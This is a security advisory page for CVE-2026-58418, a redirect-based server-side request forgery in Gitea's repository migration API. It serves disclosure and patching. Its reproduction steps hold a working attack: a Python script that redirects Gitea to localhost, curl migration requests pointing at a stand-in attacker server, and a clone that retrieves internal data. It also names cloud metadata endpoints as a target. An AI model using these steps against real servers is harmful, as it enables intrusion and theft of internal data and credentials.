CVE-2026-58418: Gitea: SSRF via HTTP Redirect in Repository Migration
Summary Gitea 1.25.4 validates the initial URL provided to the repository migration endpoint (POST /api/v1/repos/migrate) and correctly blocks requests to internal addresses like 127.0.0.1 or RFC1918 ranges. However, if the initial URL points to an attacker-controlled server that responds with an HTTP 302 redirect to an internal address, Gitea follows the redirect without performing a second validation.
Published Jul 21, 2026
Affected packages
code.gitea.io/gitea
- Ecosystem
- Go
- Affected
- < 1.26.3
- Fixed in
- 1.26.4
- Check
go list -m code.gitea.io/gitea
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Gitea 1.25.4 validates the initial URL provided to the repository migration endpoint (POST /api/v1/repos/migrate) and correctly blocks requests to internal addresses like 127.0.0.1 or RFC1918 ranges. However, if the initial URL points to an attacker-controlled server that responds with an HTTP 302 redirect to an internal address, Gitea follows the redirect without performing a second validation. This allows a low-privilege user to reach internal services through Gitea as a proxy.
Affected Version
Gitea 1.25.4 (latest stable at time of writing), default configuration.
Prerequisites
- A regular Gitea user account (no admin privileges required)
- An attacker-controlled server reachable from the internet that serves HTTP 302 redirects
Reproduction
Environment
| Role | Location | Network | | Attacker | Any machine with internet access | External network (VLAN A) | | Gitea Server | Windows 11 VM, Gitea 1.25.4, default config, SQLite | Internal network (VLAN B) | | Internal service | Same VM, bound to `127.0.0.1:18082` | Localhost only | | Redirect server | Attacker-controlled public server, port 18080 | Internet |
The attacker can reach Gitea on port 3000 but cannot reach port 18082 on the VM. This was verified by attempting a direct connection, which was refused.
Step 1: Create an attacker account on Gitea
Register a normal user account on the Gitea instance (or use any existing non-admin account). Then generate an API token under Settings > Applications with the repo: write scope. The migration endpoint requires this because it creates a new repository. This token is referenced as <USER_TOKEN> in the steps below.
Step 2: Set up an internal service on the Gitea host
On the Gitea VM, create a bare Git repository that simulates an internal service:
mkdir C:\internal-repo
cd C:\internal-repo
git init
echo CONFIDENTIAL_DATA_2025 > secret.txt
git add .
git commit -m "internal confidential"
git clone --bare . C:\internal.git
cd C:\internal.git
git update-server-info
python -m http.server 18082 --bind 127.0.0.1This serves a Git repository on localhost port 18082. It is not reachable from outside the machine.
Step 3: Confirm Gitea blocks direct access to internal addresses
From the attacker machine:
curl -X POST http://<GITEA_SERVER>:3000/api/v1/repos/migrate \
-H "Authorization: token <USER_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "http://127.0.0.1:18082/",
"repo_name": "direct-test",
"service": "git"
}'Response:
{"message":"You can not import from disallowed hosts."}This confirms that Gitea correctly blocks migration from internal addresses when provided directly.
Step 4: Set up a redirect server
On an attacker-controlled public server, run a script that redirects all requests to the internal service:
from http.server import BaseHTTPRequestHandler, HTTPServer
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
path = self.path
if path.startswith("/repo.git"):
path = path[len("/repo.git"):]
target = f"http://127.0.0.1:18082{path}"
self.send_response(302)
self.send_header("Location", target)
self.end_headers()
print(f"[+] Redirected {self.path} -> {target}")
do_HEAD = do_GET
HTTPServer(("0.0.0.0", 18080), RedirectHandler).serve_forever()Step 5: Exploit the redirect bypass
From the attacker machine:
curl -X POST http://<GITEA_SERVER>:3000/api/v1/repos/migrate \
-H "Authorization: token <USER_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "http://<ATTACKER_SERVER>:18080/repo.git",
"repo_name": "exfil-test",
"service": "git",
"private": true
}'Response: HTTP 201 Created. The migration succeeds.
Step 6: Retrieve the exfiltrated data
From the attacker machine:
git clone http://attacker:password@<GITEA_SERVER>:3000/attacker/exfil-test.git
cat exfil-test/secret.txtOutput:
CONFIDENTIAL_DATA_2025The attacker now has the contents of the internal repository that was only accessible on localhost.
What happens during the attack
- The attacker sends a migration request pointing to their public server.
- Gitea validates the URL. The destination is a public IP, so it passes the check.
- Gitea contacts the attacker's server to clone the repository.
- The attacker's server responds with
302 Location: http://127.0.0.1:18082/... - Gitea follows the redirect to
127.0.0.1without validating the new destination. - The internal service responds and Gitea stores the result as a new repository owned by the attacker.
- The attacker clones their newly created repository and reads the internal data.
Impact
Any authenticated user with permission to create repositories can use the migration feature to reach services that are only accessible from the Gitea server itself or its local network. Depending on the environment this could include:
- Internal Git repositories or other version control systems not exposed to the internet
- Cloud metadata endpoints (
169.254.169.254) which serve temporary credentials on AWS, GCP, and Azure - Internal APIs, CI/CD systems, databases, or admin panels bound to localhost or private networks
- Other services within the same network segment that trust connections from the Gitea server
The full content of internal Git repositories can be exfiltrated as demonstrated above. For non-Git services, the request still reaches the target (blind SSRF), which may be enough to trigger actions or leak information through error messages.
Suggested Fix
Validate the destination of HTTP redirects against the same blocklist that is applied to the initial URL. If a redirect points to a blocked address (loopback, link-local, RFC1918), the request should be aborted before following the redirect.
Credited to moltenbit.
References
- https://github.com/go-gitea/gitea/security/advisories/GHSA-rqhx-647v-wx32
- https://nvd.nist.gov/vuln/detail/CVE-2026-58418
- https://github.com/go-gitea/gitea/pull/38108
- https://github.com/go-gitea/gitea/commit/9e84deb969aff5c1115c2984e41250f28c78451f
- https://blog.gitea.com/release-of-1.26.3-and-1.26.4
- https://github.com/go-gitea/gitea/releases/tag/v1.26.4
- https://github.com/advisories/GHSA-rqhx-647v-wx32
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-20779
Gitea: TOTP TOCTOU race on web 2FA paths + missing replay check on Basic-Auth `X-Gitea-OTP` surface
high7.1Jul 21, 2026CVE-2026-20896
Gitea Docker image: `REVERSE_PROXY_TRUSTED_PROXIES = *` default lets any source IP impersonate any user via `X-WEBAUTH-USER`
critical9.8Jul 21, 2026CVE-2026-22874
Gitea: Incomplete SSRF Protection in Webhook and Migration Allow-list Default Filter
critical9.6Jul 21, 2026CVE-2026-23603
Gitea: Blind SSRF in OAuth2 avatar synchronization via unvalidated OIDC picture claim
low3.1Jul 21, 2026CVE-2026-24451
Gitea: Fork Synchronization Continues After Parent Repository Changes from Public to Private
high7.5Jul 21, 2026CVE-2026-25038
Gitea: Unauthorized Access to Labels of Private Organizations
high7.5Jul 21, 2026
